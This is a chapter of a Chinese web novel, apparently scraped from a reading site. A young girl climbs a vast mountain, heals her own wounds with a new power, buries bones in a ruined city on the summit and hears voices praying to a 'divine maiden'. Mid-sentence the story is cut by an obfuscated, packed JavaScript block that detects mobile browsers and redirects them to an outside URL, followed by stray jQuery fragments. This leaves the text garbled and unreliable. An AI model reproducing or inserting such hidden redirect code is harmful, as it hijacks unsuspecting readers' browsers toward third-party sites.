9.第九章 爬上山顶
作品:《一言不合就成仙》 高山距离任清璇只有约摸30丈远,不一会儿就走到了山脚下。
任清璇抬头看去,那山似乎比之前看见的还要高,仿佛看不到山巅。
凛冽的风从山脚下开始吹拂,混合着细腻的沙子,拍得脸颊生疼。
好高啊!
比任清璇见过的任何一座山都要高,这里没有人的痕迹,自然也就没有山路,甚至连动物的脚印也不见一个。
她不知道自己能不能爬上去。
或许爬上去之后,会发现比这里更绝望。
可是任清璇没有半分犹豫。
她对自己说:“没关系的,你现在还小,就算失败了也没关系。”
就算是死了,那也没关系。
反正这世上,不会有人为她伤心。
这样想着,任清璇心里原本的那一丁点害怕,也跟着烟消云散了。
布满乱石的高山,唯一好处就是没有荆棘,任清璇可以自由选择想要攀爬哪一块石头。
不知道爬了多久。
她的脚已经被磨得生疼。两只小手上也布满了水泡,奇怪的是,身体却没有留下任何一滴汗水。
任清璇看了看自己受伤的手,福至心灵,动用了神念台上的光点。
那光点受到了刺激,瞬间就分化成无数的光丝,顺着任清璇的身体游走。
不过一个呼吸间,任清璇就觉得自己神清气爽,手掌上火辣辣的疼痛瞬间消散,身体的疲惫也彻底消除。
“哇,好厉害。”任清璇忍不住惊叹。
虽然她的年纪还很小,可是她已经意识到,这就是治愈的能力。
在任清璇的心中,只有大夫才能治病救人,而这是一项非常花钱的技能。
村里的赤脚大夫经常说,在她以前拜师学艺的时候,整整十年都是普通的小药童。搭上了所有的身家,才求得老大夫教他一星半点。
后面更多的,便需要自己去悟。
正因为如此,赤脚大夫每一次给大家治病,都会收取昂贵的费用。
村里人从来不会有人觉得贵,还有其他村里的人也常常会来找赤脚大夫。
不过,大家一般都只是让大夫看看病,判断一下能不能治,要治多久,很少有人会在大夫这里买药。
看病贵,药更贵。
普通人家是看不起病的。
赤脚大夫看一次,无论能不能看出来,都要收五十文,大家病狠了,来给钱问询,还是心甘情愿的。
因为听说镇上的医馆更是贵出天际,看一次要三百文,若是老大夫,那更是不止。
抓药就更贵了,有的病,即便赔上全部的身家,也不一定能够抓上一副药。
想到这里,任清璇一下子高兴起来:“现在我不需要抓药,也能够治病,那我比村里的赤脚大夫还要厉害哦!”
而现在,她已经拥有了比村里赤脚大夫更厉害的治愈能力。
如果现在回到村里,大家一定会很喜欢我了吧?
但这个念头也只是在心里晃了晃,又很快被她抛之脑后。
比起村里的生活,任清璇反而更喜欢和光点待在一起。
她还记得猫师父和地师父教她时候的耐心,还有她从前从来没有得到过的温柔。
“把我丢在这里,肯定是有原因的。”任清璇在心里对自己说。
安慰好了自己,任清璇再抬头,小眼睛里就充满了力量。
既然不会受伤,那就继续爬吧。
她要看看山顶上到底有什么,也很好奇,在山顶上能看见什么样的风景。
就这样任清璇一路爬,一路受伤,又一路给自己治愈。
她感觉自己爬了很久很久,可是除了身体偶尔的疲惫和受伤,并不会觉得饥饿,所以任清璇也不能判断到底过了多久。
孩子对于时间是没有概念的,往往用困了、饿了来判断过了多久。
任清璇现在还是个小孩子,自然也是这样去判断。
她甚至比其他的孩子还多了一些耐心,只要自己去做的事从来不会觉得不耐烦,无论失败多少次,都有精力重新开始。
也许是一个月,也许是一两年,任清璇终于爬上了那高高的山顶。
这时她才发现,山顶上竟然别有洞天。
这里有一块超大的平地,大得一眼看不到边。从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272099|165712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痕迹上看,像是曾经有人在这里修建城池。
只不过那些断壁残垣,被风霜侵蚀得很厉害,城墙断成了一节一节的,房屋也全部倒塌了,地上甚至还有不知道是动物还是人类的骸骨。
任清璇看到那些骨头,心里并不觉得害怕,因为还没有人给她灌输过怕骸骨的概念。
“老人们说,人要入土为安,我把你们埋起来,好不好?”对那些骨头说完话就自顾自把它们捡起来。
任清璇不知道哪些骨头是一起的,便按照大小和长短进行分类,这里堆一堆,那里堆一堆。
骨头埋起来必然要挖坑,任清璇没有合适的工具,就只好找了一根趁手的骨头去挖。
这里不知道经过了多少岁月,地上已经全都是沙尘,挖起来倒也轻松。
任清璇又哼哧哼哧挖坑,她不敢挖得太深,怕自己爬不起来,就往边上挖,挖出了一个又宽又大的坑。
接着,她把骨头一根一根摆进去。
再用沙子埋住。
这是一个非常耗费精力和耐力的工程,重复枯燥,但任清璇仍然做得一丝不苟。
手臂挖累了就给自己治疗一下,恢复精力后就继续投入。
直到把最后一根骨头,也用沙子埋起来。
做完这一步后,任清璇不知道应该做些什么了。
她想起爹娘坟前的石头,就从兜里拿出来。
看了半天石头后,任清璇犹豫着说:“我不知道你们叫什么名字?我也不认识字,不能给你们立碑,也没有香蜡纸烛,不能给你们上香。”
她不太好意思,双手合十,朝着这一个大坑拜了拜。
下一瞬,任清璇忽然听到,无数的声音传了过来。
“请求神女降世!”
“请求神女普度众生。”
“神女大人,请不要抛弃我等!”
“神女大人信女愿终身供奉神明,只求您庇佑我儿安好。”
“神女大人……”
“神女大人……”
一道又一道虔诚的声音,钻进了任清璇的耳中。
任清璇眨了眨眼睛,不太清楚当下的状况。